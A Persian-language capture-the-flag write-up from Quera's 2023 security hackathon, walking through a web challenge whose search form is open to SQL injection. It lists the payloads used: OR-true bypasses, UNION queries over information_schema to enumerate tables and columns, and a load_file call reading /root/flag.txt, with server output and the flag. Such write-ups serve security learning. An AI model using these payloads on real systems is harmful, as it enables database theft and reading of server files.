فروردین امسال (1402) کوئرا یک مسابقه مسابقه فتح پرچم (یا همون CTF) برگزار کرد با نام هکاتون. ثبتنام مسابقه تا 23ام اسفندماه 1401 ادامه داشت و شما میتونستید پس از پرداخت هزینه نسبتا سنگین (480)، برای مسابقه و 18 ساعت آموزش (نه چندان با کیفیت) اقدام کنید. در بخش معرفی رویداد این مطالب نوشته شده بود:
رویداد هکاتون امنیت، چهارمین هکاتون برنامهنویسی کوئرا است که با موضوع امنیت و در چارچوب طرح شهید بابایی بنیاد ملی نخبگان برگزار میشود.
این رویداد شامل یک بخش آموزشی و یک بخش رقابتی است. در ابتدا، موضوعات جذاب و کاربردی حوزه امنیت در ۳ روز و با همراهی اساتید برتر این حوزه برگزار میشود و شما مجموعا ۱۸ ساعت آموزش میبینید. بعد از آموزش به تیمهای ۲ الی ۴ نفره تقسیم میشوید و در یک مسابقه چالشی به رقابت میپردازید. بعد از مسابقه راهحل تیمها داوری میشود و نفرات برتر مشمول دریافت امتیاز نخبگی بنیاد و همینطور برنده جایزه نقدی مسابقه میشوند. علاوه بر این نفرات برتر برای استخدام به شرکتهای مطرح معرفی خواهند شد. برای مشاهده مراحل و زمانبندی رویداد روی این لینک کلیک کنید.
? به تمام شرکتکنندگان، گواهی شرکت در رویداد اهدا خواهد شد اما فقط نفرات برتر مسابقه و بعد از داوری راهحلها، مشمول دریافت امتیاز نخبگی بنیاد میشوند.
⚠️ شرکت در رویداد به صورت فردی است اما پیش از مسابقه، شرکتکنندگان به تیمهای ۲ الی ۴ نفره تقسیم میشوند تا به صورت تیمی به رقابت بپردازند. اگر از ابتدا تیم شما مشخص است و دوست دارید با تیم خود در این رویداد شرکت کنید لطفا به صورت جدا جدا ثبتنام خود را تکمیل کنید و بعد از ثبتنام به ما اطلاع دهید که میخواهید در یک تیم باشید.
برای برگزاری رویداد از پلتفرم CTFd استفاده شده بود و تیم کوئرا چند روز قبل از مسابقه، با هدف آشنایی بچهها با پلتفرم یک کوییز آزمایشی (و بدون تاثیر در نتایج مسابقه) قرار داد. سوالات این کوییز از رویدادهایی مثل picoctf و uutctf انتخاب شده بودند و به عنوان دست گرمی کمک بزرگی محسوب میشد. در پرانتز این هم بگم که سوالات مسابقه با اختلاف....باااا اختلااااف، سختتر و جذابتر بودند.
امتیاز: 150
متن سوال:
Take care of the customers and find the flag
http://185.94.76.76:47561
راهنمایی: check the /root
متاسفانه این سوال صرفا در طول اجرای مسابقه قابل انجام بود چراکه فایل داکر یا VM برای پیادهسازی در آینده به بچهها داده نشد و با پایان رویداد سرور هم قطع شد.
اما چیزی که در آدرس IP میدیدم این بود که یک صفحه ساده HTML داریم با یک فرم. در این فرم میشد یک اسم وارد کرد و اگر اسم در پایگاه داده موجود بود (مثل Intech)، زیر تگ form در html، نوشته میشد:
1 results. Intech , false"
به محض دیدن فرم و صفحهی شامل فرم اولین حدس میتونه آسیبپذیری تزریق SQL (مخفف: SQLI) باشه. با استفاده از BurpSuit و وارد کردن مقدار زیر بجای search (در محتوای درخواستی که میرفت سمت سرور) این فرض اثبات شد.
search = ` OR true;#
در این مرحله همچنان محتوای Hint سوال را نخونده بودم چون (به اشتباه) تصور میکردم از امتیازم کم میشه. بنابراین سعی کردم تا حد امکان درباره پایگاهداده اطلاعات بگیرم. با استفاده از کوئری زیر فهرست جداول پایگاه داده را استخراج کردم:
search= ' OR true union select table_name from information_schema.tables;#
بخشی از نتیجه پرسوجو شد فرست زیر. تنها جدولی که در فهرست جداول پیشفرض MySQL نبود جدول customers بود. برای اینکه ببینم کدوم جداول جزو جداول پیشفرض نیستند عبارت sql table را قبل از نام جدول قرار میدادم و با گوگل سرچ میکردم. در تمام موارد (به جز costomer) به داکیومنت سایت MariaDB و MySQL بر میخوردم. این هم بگم که اون سه تا اسم اول (Macrosoft و Initech و Initrode) محتوای جدول customer هستند که بهخاطر OR true در کوئری استخراج شدند.
85 results.
Macrosoft ,
Initech ,
Initrode ,
CHARACTER_SETS ,
COLLATIONS ,
COLLATION_CHARACTER_SET_APPLICABILITY ,
...
setup_consumers ,
setup_instruments ,
setup_timers ,
threads ,
customers ,
false
سعی کردم فهرست ستونهای هر جدول و نوع داده اونها را با کوئری زیر استخراج کنم. مثلا برای جدول customers داریم:
search=' OR true union select concat(column_name,0x3a,data_type) from information_schema.columns where table_name='customers';#
و خروجی میشه مثل زیر که نشون میده جدول customers فقط یک ستون داره به نام c و از نوع char:
4 results.
Macrosoft ,
Initech ,
Initrode ,
c:char ,
false
اهمیت این موضوع از این جهته که اگر با union قصد استخراج داده را داشته باشیم باید data type ستونهایی که متصل میشن یکسان باشه (اینجا چون c از نوع char هست و نمیتونیم قسمتهای قبلی کوئری روی سرور را اصلاح کنیم، پس باید ستون جدید هم از نوع char باشه). در مرحله بعد سعی کردم تمام محتوای برخی از ستونهای جدوال مختلف را با query زیر دریافت کنم که نتیجهای هم نداشت:
search= ' OR true union select concat('>> ', username) from users;#
با توجه به راهنمایی سوال میشه متوجه شد که باید از SQLI برای خوندن فایل روی سرور استفاده کنیم. خوشبختانه (یا بدبختانه) در SQL میشه از load_file به این منظور استفاده کرد. کوئری زیر راه حل این سواله:
search=' union select load_file('/root/flag.txt') from information_schema.tables;#
و پاسخی که دریافت میکنیم:
4 results.
Macrosoft ,
Initech ,
Initrode ,
queraCTF{C@r1ng_ab0utS3cur1ty_iSCr33py_WGKNW23}
,
false
پاسخ: queraCTF{C@r1ng_ab0utS3cur1ty_iSCr33py_WGKNW23}